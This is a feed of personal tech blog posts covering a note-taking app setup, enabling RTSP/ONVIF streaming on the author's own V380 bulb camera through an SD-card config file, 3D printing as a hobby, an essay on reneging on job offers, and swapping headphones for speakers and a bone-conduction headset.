&lt;blockquote&gt;
&lt;p&gt;PKMs should be more about &lt;em&gt;Knowledge&lt;/em&gt; and less about &lt;em&gt;Management&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I remembered how I was amazed when I used gmail for the first time. I didn&amp;rsquo;t have to create tons of nested folders. I used labels a bit, and they are insanely more powerful than folders. And rest I basically just used search. I had the same experience when I joined Google as an engineer and stopped organizing all my work docs in neat structures, because everything was just a search away, wherever they were whether a wiki or a text file or an email etc.&lt;/p&gt;
&lt;p&gt;I also remembered the unix philosophy of doing one thing well, and how that scales amazingly.&lt;/p&gt;
&lt;p&gt;So, I set out to overhaul my PKM system a bit with these ideas in mind. I tried a lot of apps and settled on a few.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll talk about what I chose and a bit about why, but what I will not talk about is their long list of features. Because like I said, that&amp;rsquo;s a slippery slope and I ruthlessly narrowed down my main criteria as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Easy to store&lt;/li&gt;
&lt;li&gt;Easy to retrieve (on demand, as well as discovery)&lt;/li&gt;
&lt;li&gt;Available cross platform (Windows, Linux, Mac, iOS, iPadOS, Chrome - since I use all these platforms)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I settled finally on three apps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hoarder.app/"&gt;Hoarder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://capacities.io/"&gt;Capacities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://notability.com/"&gt;Notability&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, I was using notability already since long for handwritten notes on my app. So that obviously remains in the stack. For a little while, I had tried to use OneNote instead in the allure of reducing an app to use since OneNote does both handwrittten and typed notes, but it&amp;rsquo;s such a bad UX and quite different and clunky across all platforms as well. So I will continue with Notability for this, and I type these out in my regular note app anyways while ending my day. I continue with taking handwritten notes because they are amazingly intuitive without breaking the flow when reading books or in meetings.&lt;/p&gt;
&lt;p&gt;Now I use hoarder for bookmarks, and capacities for everything else.&lt;/p&gt;
&lt;p&gt;Hoarder is a self hosted web app which also has mobile apps and extensions. It auto tags everything you share to it (One click on chrome, or share sheet on phone) using AI (You&amp;rsquo;ve to bring your own. I use Google Gemini 1.5 Flash). It also scrapes the content and downloads a clean readable version for offline use or if the pages go away, or can also store the full page archive/screenshots etc. In the time that I&amp;rsquo;ve been using it, it&amp;rsquo;s been so easy to store and search my bookmarks. But it also allows me to &lt;code&gt;discover&lt;/code&gt; them when I browse tags. I plan to write some code on top of it to show me a random unread bookmark every day.&lt;/p&gt;
&lt;p&gt;Capacities changed my view towards notes completely. The first time I opened it, I was weirded out. Because it does not even have a way to create a &amp;ldquo;note&amp;rdquo; per se and &amp;ldquo;organize&amp;rdquo; it. For capacities, everything is an object.
&lt;img src="https://shantanugoel.com/img/2024/capacities.png" alt="Capacities"&gt;&lt;/p&gt;
&lt;p&gt;What this means is that it liberates you from organizing your notes. You create objects (use built-in ones or define your own). E.g. I don&amp;rsquo;t need to figure out that a tip/how-to that I found goes under Linux or Windows or is it for my laptops or for my home lab components like the NAS or raspberry pi or whatever. It&amp;rsquo;s just a How To. I save it as a How To and then you can search for it when you want. I can use tags if I need, or can set various properties on the types (enabled by the Object Type system), and can easily link to other objects from anywhere which helps in the recall process, aided also by their amazing search. It has a ton of other features which I love as well but at the core of it, I think using this object system (think of it like a super lean and super fast notion) is what made me switch.&lt;/p&gt;
&lt;p&gt;Hopefully, this is where my search for the perfect PKM system ends, as my searches for the stored knowledge start getting fulfilled.&lt;/p&gt;</content></item><item><title>Enabling ONVIF and RTSP in V380 Pro Bulb Camera from Amazon</title><link>https://shantanugoel.com/2024/12/19/onvif-rtsp-amazon-v380pro-bulb-camera/</link><pubDate>Thu, 19 Dec 2024 15:30:20 +0530</pubDate><guid>https://shantanugoel.com/2024/12/19/onvif-rtsp-amazon-v380pro-bulb-camera/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2024/v380-pro-bulb-camera.jpg" alt="V380 Pro Bulb Camera"&gt;&lt;/p&gt;
&lt;p&gt;I use a bulb camera from Amazon for my doorway, because it is very easy to set it up since just goes into the existing bulb socket without any additional wiring, and connects over wifi to my internet. Most of these cameras are based around V380 / V380 Pro platforms, which are typically nice to work with 3rd party software via the ONVIF and RTSP protocols. ONVIF allows good control over the camera besides just streaming, and RTSP allows you to only stream the camera feed to other devices, such as your phone or tablet. But basically the end result is that you can use great software like Synology Surveillance Station to monitor the camera and control it remotely, which is what I do. Or you could also use things like VLC on your computer to just watch the feed. If you really want to play around with it, you can install scrypted on a server and connect the camera to almost anything like Apple HomeKit or Google Home.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2024/v380-pro-bulb-camera.jpg" alt="V380 Pro Bulb Camera"&gt;&lt;/p&gt;
&lt;p&gt;I use a bulb camera from Amazon for my doorway, because it is very easy to set it up since just goes into the existing bulb socket without any additional wiring, and connects over wifi to my internet. Most of these cameras are based around V380 / V380 Pro platforms, which are typically nice to work with 3rd party software via the ONVIF and RTSP protocols. ONVIF allows good control over the camera besides just streaming, and RTSP allows you to only stream the camera feed to other devices, such as your phone or tablet. But basically the end result is that you can use great software like Synology Surveillance Station to monitor the camera and control it remotely, which is what I do. Or you could also use things like VLC on your computer to just watch the feed. If you really want to play around with it, you can install scrypted on a server and connect the camera to almost anything like Apple HomeKit or Google Home.&lt;/p&gt;
&lt;p&gt;Now, this has been working nicely for me for the last few years but suddenly my existing camera went kaput. I tried fixing it with a lot of (over)confidence in my abilities but couldn&amp;rsquo;t get it to work.&lt;/p&gt;
&lt;p&gt;Exhauted, I bought another one off Amazon which was similar but surprisingly it didn&amp;rsquo;t work with Synology. Scanning it via &lt;code&gt;nmap&lt;/code&gt;, I couldn&amp;rsquo;t see any ports open either that could be onvif or rtsp related.&lt;/p&gt;
&lt;p&gt;Searching on the internet, I found that you could put a file named &lt;code&gt;ceshi.ini&lt;/code&gt; on an sd card and put it in the camera with the content mentioning things like &lt;code&gt;rtsp=1&lt;/code&gt; and &lt;code&gt;onvif=1&lt;/code&gt; and this should enable it. But it didn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;I was about to send it back to Amazon, but then for some reason decided to try other variants of this and finally the following content in the file worked for me. I put the file on the sd card and rebooted the camera and it finally started working.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[CONST_PARAM]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rtsp_enable=1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;onvif_enable=1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Adding this here as a note for my future self because I have a knack of forgetting my own fixes and then running into them later on my own blog :D&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/shantanugoel/status/1869399305779634377"&gt;https://x.com/shantanugoel/status/1869399305779634377&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2024/twitter-lost-found.jpg" alt="Lost and Found"&gt;&lt;/p&gt;</content></item><item><title>3dprinting Changes Lives</title><link>https://shantanugoel.com/2024/04/12/3d-printing-changes-lives/</link><pubDate>Fri, 12 Apr 2024 18:28:07 +0530</pubDate><guid>https://shantanugoel.com/2024/04/12/3d-printing-changes-lives/</guid><description>&lt;p&gt;Imagine that you wake up one day and discover that you have the power to bring your ideas to life! You think of something, design it and it appears in front of you. Wouldn&amp;rsquo;t that be life-changing for you?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/shakalakaboomboom.gif" alt="If you can imagine it, you can have it"&gt;&lt;/p&gt;
&lt;p&gt;In the sweet monsoons, some 25 years ago, a lot of Indian kids started dreaming of this when the show Shaka Laka Boom Boom went on air. It had a magical pencil that the show&amp;rsquo;s protagonist Sanju could use to draw anything, and it became a reality. Now, I didn&amp;rsquo;t really watch the show because I was already in my 20s by then and it felt too childish to me at the time. But the kids around me could not stop singing praises about it and how they wanted to be the lucky Sanju.&lt;/p&gt;</description><content>&lt;p&gt;Imagine that you wake up one day and discover that you have the power to bring your ideas to life! You think of something, design it and it appears in front of you. Wouldn&amp;rsquo;t that be life-changing for you?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/shakalakaboomboom.gif" alt="If you can imagine it, you can have it"&gt;&lt;/p&gt;
&lt;p&gt;In the sweet monsoons, some 25 years ago, a lot of Indian kids started dreaming of this when the show Shaka Laka Boom Boom went on air. It had a magical pencil that the show&amp;rsquo;s protagonist Sanju could use to draw anything, and it became a reality. Now, I didn&amp;rsquo;t really watch the show because I was already in my 20s by then and it felt too childish to me at the time. But the kids around me could not stop singing praises about it and how they wanted to be the lucky Sanju.&lt;/p&gt;
&lt;p&gt;But I wasn&amp;rsquo;t alien to this longing, or feeling. I first had this feeling when I learned to code, another 15 years or so before this. Every Wednesday, I religiously took off my shoes outside the school&amp;rsquo;s computer lab, lest a smitten of dust bork the machines inside, cranked that key to unlock the CPU, inserted an 8-inch floppy diskette inside it to boot it to start coding those silly programs in BASIC.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/cpu-lock.jpg" alt="Alohamora"&gt;&lt;/p&gt;
&lt;p&gt;I was overjoyed when one day I learned I could draw circles on the screen through my programs. A decade later as I typed HTML in Notepad and saw all kinds of things happen on screen, I felt this is it!! And then as I waded further into programming through college and beyond, it just was as if a vast ocean had been suddenly unlocked for a frog, who had only so far jumped around in a puddle of mud, to swim in.&lt;/p&gt;
&lt;p&gt;I always thought this was the high point of my &amp;ldquo;creation&amp;rdquo; journey. That nothing could surpass this power that I held beneath my grubby little fingers as they danced around in motions not exceeding a couple of inches max and things happened. A lot of people talk about doing things other than programming. That they programmed so much at work and they needed to do something else to relax. For me, programming was (and in many ways, still is) relaxation. How could someone have a superpower and not always be reveling in joy using it?&lt;/p&gt;
&lt;p&gt;And then around 2 years ago, I bought a 3D printer.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/creality-ender-3-s1-pro.jpg" alt=""&gt;
&lt;img src="https://shantanugoel.com/img/uploads/3d-rabbit.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;This was my Shaka Laka Boom Boom moment. I could now understand why all those kids all those years ago went gaga over a silly pencil. I mean I could even now print a replica of that pencil at home. Since then, I&amp;rsquo;ve designed and printed nozzles for my Dyson vacuum, fixed and built toys for my little princess when she demanded them, fixes for my guitar, my bathroom door knobs, water alarms for my RO reject water tank when Bangalore suffers through a water crisis, a cover to save my steam deck when I travel, amazing projects for my teenage son, the iPhone nightstand that Apple showed in its keynote but never released, an Airtag case for the apple tv remote so I could never lose it again, tons of gifts for myself and friends. I&amp;rsquo;m a builder and a tinkerer. When people rush to call for help for any simple thing around the house, I rush towards my tool chest. And here I had a magic wand to now create the parts I needed to fix anything I wanted, whenever I wanted, and even create the tools to fix those parts. I mean I could even print a motha-fuckin&amp;rsquo; GODZILLA!!&lt;/p&gt;
&lt;p&gt;Since then, I&amp;rsquo;ve printed all these and many many more things (You can see more on my &lt;a href="https://twitter.com/shantanugoel"&gt;Twitter&lt;/a&gt; and &lt;a href="https://instagram.com/shantanugoel_"&gt;Instagram&lt;/a&gt;). That combination of programming and 3d printing gives me a feeling of control over the virtual and parallel world, which is nothing short of feeling like the almighty Brahma, the Lord of Creation.&lt;/p&gt;
&lt;p&gt;If this is not life-changing, then what is?&lt;/p&gt;
&lt;p&gt;&lt;img src="./bambu.jpg" alt=""&gt;
&lt;img src="./fan1.jpg" alt=""&gt;
&lt;img src="./fan2.jpg" alt=""&gt;
&lt;img src="./fan3.jpg" alt=""&gt;
&lt;img src="./pencil.jpg" alt=""&gt;
&lt;img src="./hook.jpg" alt=""&gt;
&lt;img src="./godzilla.jpg" alt=""&gt;
&lt;img src="./water.jpg" alt=""&gt;
&lt;img src="./batman.jpg" alt=""&gt;
&lt;img src="./spiderman.jpg" alt=""&gt;
&lt;img src="./iphone-stand.webp" alt=""&gt;
&lt;img src="./appletv.webp" alt=""&gt;&lt;/p&gt;</content></item><item><title>Job Offers as an Optimization Problem</title><link>https://shantanugoel.com/2024/04/08/job-offers-optimization/</link><pubDate>Mon, 08 Apr 2024 22:45:53 +0530</pubDate><guid>https://shantanugoel.com/2024/04/08/job-offers-optimization/</guid><description>&lt;h2 id="1-what"&gt;1) What?&lt;/h2&gt;
&lt;p&gt;A classic debate that keeps erupting now and then is whether it&amp;rsquo;s ok or not to continue to look for other jobs after signing an employment contract with a company, to get potentially a better offer.&lt;/p&gt;
&lt;p&gt;There are good arguments from both sides. Employers expect you to commit/be good to your word and not continue shopping around a signed offer letter. Candidates believe that this is unfair since companies typically have a much heavier side already in the employment power equation.&lt;/p&gt;</description><content>&lt;h2 id="1-what"&gt;1) What?&lt;/h2&gt;
&lt;p&gt;A classic debate that keeps erupting now and then is whether it&amp;rsquo;s ok or not to continue to look for other jobs after signing an employment contract with a company, to get potentially a better offer.&lt;/p&gt;
&lt;p&gt;There are good arguments from both sides. Employers expect you to commit/be good to your word and not continue shopping around a signed offer letter. Candidates believe that this is unfair since companies typically have a much heavier side already in the employment power equation.&lt;/p&gt;
&lt;p&gt;Emotions (and tempers) run high every time this gets discussed, and there&amp;rsquo;s seemingly no possible consensus in sight.&lt;/p&gt;
&lt;p&gt;I posit that this is simply an optimization problem to be solved by everyone for themselves. The rest of my notes below dig into a bit more detail on the potential ways in which this could be navigated by a candidate as well as a hiring manager.&lt;/p&gt;
&lt;h2 id="ground-truths"&gt;Ground Truths&lt;/h2&gt;
&lt;p&gt;Before we begin, we will set forth a few facts, and a few assumptions that I believe are true, to form the ground for our aforementioned digging. I have tons of anecdotes from my experience screening 10s of thousands, interviewing 1000s, and hiring 100s of people, but I won&amp;rsquo;t list any of them here because, in a rational discussion, anecdotes serve only as bias and nothing else.&lt;/p&gt;
&lt;h3 id="facts"&gt;Facts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A company, though seemingly a faceless entity, is not taking a hiring decision as one. It&amp;rsquo;s the hiring manager (and sometimes recruiters/HR) who are taking them, partly guided by their motivations and partly by the company&amp;rsquo;s practices&lt;/li&gt;
&lt;li&gt;In a country like India, every position gets hundreds, if not thousands or 10s of thousands of applicants&lt;/li&gt;
&lt;li&gt;The world is not perfect. Although we want an ideal state on the other side, that will only come in a piecemeal fashion, not everywhere&lt;/li&gt;
&lt;li&gt;An offer is an offer until accepted/signed. Then it becomes a &amp;ldquo;contract&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="assumptions"&gt;Assumptions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Most people want to work with other people that they can trust&lt;/li&gt;
&lt;li&gt;Most people want to optimize hiring for themselves (Candidates for their career, hiring managers for their own, companies for their profits)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="common-scenarios"&gt;Common scenarios&lt;/h2&gt;
&lt;p&gt;It is assumed that the ideal state is where the below issues don&amp;rsquo;t happen.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Company&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gives exploding offers (Accept/Reject in 1-2 days or the offer goes away)&lt;/li&gt;
&lt;li&gt;Give out offers as an x% increment based on past compensation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Candidate&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wants another offer even after accepting one because
&lt;ul&gt;
&lt;li&gt;That will bring in another 10-20% hike&lt;/li&gt;
&lt;li&gt;Or they had to take a bad offer earlier (either much lower money than they are worth, or a company that they don&amp;rsquo;t really want to go to) because they were desperate and had no other choice&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="is-reneging-on-a-contract-bad"&gt;Is reneging on a contract bad?&lt;/h2&gt;
&lt;p&gt;The answer is &lt;strong&gt;NO&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;One would be naive to think of this in terms of good/bad because that&amp;rsquo;s not what matters.&lt;/p&gt;
&lt;p&gt;You may have a genuine reason, or you may have a completely frivolous reason to renege. The company may be a 10000 people/trillion$ behemoth barely impacted by a particular candidate&amp;rsquo;s decision or a barely surviving 2 people startup that will go under because of it. The outcomes may be wildly different depending on who&amp;rsquo;s on the other end.&lt;/p&gt;
&lt;p&gt;The real questions to ask are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Can there be trust in this relationship being built on top of a reneged contract?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The answer to this is the same as asking whether you can build a stable house on a shaky foundation. A house may still fall even if there were no apparent cracks in the foundation, but if you see visible cracks already you would think twice about building a house on top of it. This is true for any relationship whether friendship, love, or employment. You can choose to take a risk and turn out lucky, but many may be risk averse and avoid it (to their benefit or detriment ultimately, but that&amp;rsquo;s beside the fact).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Now that I know this, what should I do?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The answer is simple. &lt;strong&gt;Optimize for yourself&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Implementation though, as usual, is much harder and one has to decide for themselves and their situation what they want to do.&lt;/p&gt;
&lt;p&gt;An ideal hiring manager would optimize for the long term, purely on the skills of the candidate in their
An ideal candidate would optimize for their long-term career, choose a company that plays by the rules, treats their employees well, is fair in compensation at the hiring stage and later on&lt;/p&gt;
&lt;p&gt;The world is far from ideal though. An ideal hiring manager and an ideal candidate are hard to find and for good reason because both are burnt by bad experiences on the other side.&lt;/p&gt;
&lt;p&gt;Thus I don&amp;rsquo;t prescribe a one-size-fits-all approach and everyone chooses some shade of grey instead of being perfectly black or white. One can optimize for the short term or the long term, and optimize on different metrics, but always optimize knowing what you are optimizing for and what you are trading off against. Because if you don&amp;rsquo;t think of the complete picture, you run the risk of getting stuck in a local maxima.&lt;/p&gt;
&lt;h3 id="local-maxima-optimization-risks"&gt;Local maxima optimization risks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;For Hiring Manager&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Lose out on good candidates if you pass on candidates coming to you after reneging on a contract
&lt;ul&gt;
&lt;li&gt;Typically not that big a problem for companies since there are many other good candidates to choose from&lt;/li&gt;
&lt;li&gt;However, there&amp;rsquo;s no guarantee that the candidates who didn&amp;rsquo;t renege on offers won&amp;rsquo;t just leave quite quickly after joining&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hire a fleeing candidate, if you choose to hire a candidate who reneged on another contract
&lt;ul&gt;
&lt;li&gt;The candidate that you hired after they broke off their contract with another company, won&amp;rsquo;t they break yours right after they sign it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For Candidate&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Lose out on good companies
&lt;ul&gt;
&lt;li&gt;Typically a company/hiring manager that wants to do the right thing/be ideal, also expects the candidates to be ideal.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Get into a bad company
&lt;ul&gt;
&lt;li&gt;A company that was willing to get you to break another contract for themselves, how empathetic would they be when it comes to breaking their contract with you?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As is usual, the risks for the candidate far outweigh those for the company, but such is life. Neither you/nor I can change this.&lt;/p&gt;
&lt;p&gt;But what this means is that if you feel that really had to sign a bad contract in desperation and surely need to go to a better company/offer, while knowing the risks, go for it. But if it&amp;rsquo;s because you just want to keep getting the highest bid on the market if it&amp;rsquo;s probably another 5/10% more, maybe you&amp;rsquo;ve given in to the greed a bit too much.&lt;/p&gt;
&lt;p&gt;Again, it&amp;rsquo;s for you to decide for yourself without caring about what the current/future hiring manager will think. Because irrespective of your circumstances, they&amp;rsquo;d form their opinion based on their own biases/experiences/policies and act accordingly.&lt;/p&gt;
&lt;p&gt;Similarly, ideally, a hiring manager would listen to every case, devote ample time to it understand the genuine reasons behind them, and take the candidates through. But the sheer glut of applications would mean it&amp;rsquo;s an easy optimization for a hiring manager to apply as a filter.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll likely be crucified to say this, because no one wants to hear it. &lt;strong&gt;The best optimization, with the least trade-offs, as a candidate is likely to build in that optionality for yourself. Where you are so good that you can take the liberty to say No to bad companies and bad offers.&lt;/strong&gt; This isn&amp;rsquo;t always possible, but we can at least strive for it.&lt;/p&gt;
&lt;h3 id="what-i-dobelieve"&gt;What I do/believe&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Note again, dear reader, that this is merely what I do or believe. I do not prescribe you to follow the same. Find your own optimization strategy.&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="as-a-hiring-manager"&gt;As a hiring manager&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Be upfront and honest with the candidates about the compensation, the process, the hikes they can expect, and everything else, because a foundation built on trust lasts long&lt;/li&gt;
&lt;li&gt;Make the team/company not only about the offer but strive to make it a place where people would want to join and stay&lt;/li&gt;
&lt;li&gt;Always make an offer in line with the range of that role
&lt;ul&gt;
&lt;li&gt;Does not form a basis on previous compensation or other offers&lt;/li&gt;
&lt;li&gt;Fair to existing employees and all other hires as well since everyone remains on par&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ok with candidates in the interview process with multiple companies, have received other offers, want to use those offers to negotiate&lt;/li&gt;
&lt;li&gt;Never compare candidates, evaluate them in their absolute sense, and hire as soon as one meets the bar&lt;/li&gt;
&lt;li&gt;Give reasonable time for candidates to accept offers
&lt;ul&gt;
&lt;li&gt;Typically at least 1-2 weeks, but more if the candidate is waiting for other offers and is upfront about it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If the candidate has already signed a contract, then typically I&amp;rsquo;d want to avoid going forward with their candidature
&lt;ul&gt;
&lt;li&gt;Unless they have a genuine reason not because of a meagre hike. But generally, the volume of applications and the inability to sufficiently distinguish genuine reasons from a lie serves as a detriment against going into the details of this for most cases&lt;/li&gt;
&lt;li&gt;I know the risks for me as a hiring manager that I outlined above, but I can choose to take those risks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="as-a-candidate"&gt;As a candidate&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Be upfront and honest with my potential employer(s), because a foundation built on trust lasts long&lt;/li&gt;
&lt;li&gt;If one does need to renege on a contract, communicate in time and honestly about it to avoid burning bridges&lt;/li&gt;
&lt;li&gt;Say NO, liberally. Many times when you think saying no means you will lose out results in either of these two scenarios:
&lt;ul&gt;
&lt;li&gt;The company was never worth it to work for anyways&lt;/li&gt;
&lt;li&gt;The company buckled in and towed your line&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="what-i-dont-dobelieve-inor-what-do-i-absolutely-detest"&gt;What I don&amp;rsquo;t do/believe in/or what do I absolutely detest&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Holding a grudge against someone who reneged on an offer (I&amp;rsquo;m actually happy if this happens because this reduces the chances of a much bigger burden on my team where someone joins and then quickly leaves because they already had one foot out the door)&lt;/li&gt;
&lt;li&gt;Adding penalty clauses in contracts&lt;/li&gt;
&lt;li&gt;Blacklisting candidates/forming a cartel or cabal to share their names&lt;/li&gt;
&lt;li&gt;Cooking up lies&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Letting go of headphones to save sanity and health</title><link>https://shantanugoel.com/2021/08/23/headphones/</link><pubDate>Mon, 23 Aug 2021 13:35:15 +0530</pubDate><guid>https://shantanugoel.com/2021/08/23/headphones/</guid><description>&lt;p&gt;I love listening to music (mostly rock and metal), and I&amp;rsquo;m in meetings, A LOT. So, naturally I use headphones a lot, especially due to the video calls situation forced by the pandemic. Now, I&amp;rsquo;ve been having this uneasy feeling for a long time which is sort of like a headache but not really and it&amp;rsquo;s been gnawing at me. I attributed this to lack of sleep, stress, etc early on but then recently realized the main culprit for this is headphones that&amp;rsquo;s constantly keeping my ears busy. I used to use mostly IEMs for their better sound and isolation. Tried over the ears headphones but it didn&amp;rsquo;t really help much. People suggested using open back headphones and those helped but not much.&lt;/p&gt;</description><content>&lt;p&gt;I love listening to music (mostly rock and metal), and I&amp;rsquo;m in meetings, A LOT. So, naturally I use headphones a lot, especially due to the video calls situation forced by the pandemic. Now, I&amp;rsquo;ve been having this uneasy feeling for a long time which is sort of like a headache but not really and it&amp;rsquo;s been gnawing at me. I attributed this to lack of sleep, stress, etc early on but then recently realized the main culprit for this is headphones that&amp;rsquo;s constantly keeping my ears busy. I used to use mostly IEMs for their better sound and isolation. Tried over the ears headphones but it didn&amp;rsquo;t really help much. People suggested using open back headphones and those helped but not much.&lt;/p&gt;
&lt;p&gt;Things got so bad that I felt irritated all the time and started dreading any calls as it seemed to not just cause me issues in ears/head but an overall fatigue. Then finally decided to completely let go of headphones but that meant I had to find appropriate replacements for my routine (noise-free calls, good enough music while working, good enough music while running/working out). After a lot of trial and error, have finally stumbled on to a setup that works out pretty great.&lt;/p&gt;
&lt;h2 id="hardware"&gt;Hardware&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;An old google home that was lying unused ever since I moved to the nest hub&lt;/li&gt;
&lt;li&gt;Bone condution headsets (Aftershokz OpenMove. Wanted to buy the Aeropex but it seems to be out of stock everywhere)&lt;/li&gt;
&lt;li&gt;Logitech C930e (for the microphone)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conference-calls--meetings"&gt;Conference calls / Meetings&lt;/h2&gt;
&lt;p&gt;Using Google home was a cinch for the incoming sound. Connected my laptop to the Google home via BT and the effect was immediately noticeable. First my ears didn&amp;rsquo;t feel any pressure at all, and they didn&amp;rsquo;t get hot as well like they used to earlier. Secondly, the voices were much heavier/bassy so that helped ease the load on my ears as well.&lt;/p&gt;
&lt;p&gt;The next challenge was the outgoing sound/microphone (since Google home mic cannot be used for calls via laptop) and to keep it sufficiently noise free. I decided to use the mic on my Logitech C930e for this. Now I&amp;rsquo;ve tried various microphones in the past including the ones on my headsets, the one in the laptop, and external ones like Blue Yeti and ATR2100USB and always came out unimpressed. The issues with them are that generally they are too sensitive and they pick up not just my voice but also any other sound nearby, or even the noises coming from outside my home office like kids shouting or a neighbor hammering away on their wall etc. ATR2100USB, being a dynamic mic with a helpful cardiod pattern, fairs better but I had to keep it quite close to me to be useful. The logitech C930 helps a lot with this. It has actually 2 microphones and both of them are unidirectional/cardioid. Using this, I figured out that it was able to easily get all of my voice easily recorded while not capturing any of the vocal or other sounds happening more than a few feet away from me. This coupled with the built-in noise cancellation capabilities of most meeting sofware of today (I tried Google meet, Zoom, Microsoft Teams), I could get perfect output. I was a little worried that the sound of others speaking during the call which was coming out of the google home will cause issues/feedback, but it seems that all the meeting software do a very good job of removing this and I did not face any issues of the output audio getting routed back to input. Couple of things I had to do to get the setup perfect were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Select the &amp;ldquo;digital&amp;rdquo; interface device for the microphone of c930e (In archlinux/kde, this mic shows up with 2 entries one for analog and another for digital. The analog one captures all the unfiltered audio, including noise, just like other mics I tested while the digital one works better)&lt;/li&gt;
&lt;li&gt;Had to set the gain of mic at ~90% in the settings to tailor it appropriately for my seating distance from the mic&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="listening-to-music-while-working"&gt;Listening to music while working&lt;/h2&gt;
&lt;p&gt;I started using just Google home for this. Not only this serves my purpose well when I am listening to music exclusively (Google home has surprisingly good sound for its size), but even when I am working I can now listen to music witout getting distracted. I set the volume to 5% and it keeps playing in the background as a nice backdrop to my work.&lt;/p&gt;
&lt;h2 id="listening-to-music-while-running"&gt;Listening to music while running&lt;/h2&gt;
&lt;p&gt;This was the last issue for me as I really like music while running. &lt;a href="https://twitter.com/cruisemaniac"&gt;Ashwin&lt;/a&gt; suggested to try out bone conduction headsets as he has been using these for a while. I was a bit skeptical at first but decided to give these a go. Researching on these I figured that Aftershokz Aeropex are the current state of the art/top of the line in this area but sadly they are nowhere to be found right now. Thankfully, they&amp;rsquo;ve launched the &amp;ldquo;Openmove&amp;rdquo; model recently which is supposed to be quite close to the aeropex in audio quality. I got these last week and have been using these during my runs. TBH, they aren&amp;rsquo;t anywhere close to the audio experience of an IEM but they are decent enough. A side bonus is that I have my ears open to the nearby sounds of traffic or any other things happening around me since I like to run in the open, not on a treadmill.&lt;/p&gt;
